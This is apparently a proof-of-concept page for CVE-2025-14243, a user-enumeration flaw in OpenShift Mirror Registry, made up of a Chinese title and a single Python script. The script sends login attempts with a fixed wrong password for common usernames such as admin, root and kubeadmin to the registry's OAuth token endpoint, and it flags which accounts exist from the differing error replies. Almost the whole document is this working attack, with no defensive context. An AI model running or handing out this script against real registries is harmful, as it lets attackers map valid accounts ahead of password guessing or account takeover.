CVE-2025-14243 OpenShift Mirror Registry用户枚举漏洞

import requests # Target endpoint example (adjust based on actual deployment) target_url = "https://<openshift-registry-host>/oauth/token" usernames = ["admin", "root", "developer", "test", "kubeadmin"] print("[+] Starting User Enumeration for CVE-2025-14243...") for username in usernames: # Payload attempting to authenticate data = { "username": username, "password": "InvalidPassword123!" # Constant invalid password } try: response = requests.post(target_url, data=data, timeout=5) # Logic to differentiate responses based on vulnerability description # Vulnerability: Different messages for auth fail vs user not found if response.status_code == 401 and "password" in response.text.lower(): print(f"[VALID] User found: {username}") elif response.status_code == 404 or "not found" in response.text.lower(): print(f"[INVALID] User not found: {username}") else: print(f"[UNKNOWN] Response for {username}: Status {response.status_code}") except requests.exceptions.RequestException as e: print(f"[!] Connection error: {e}")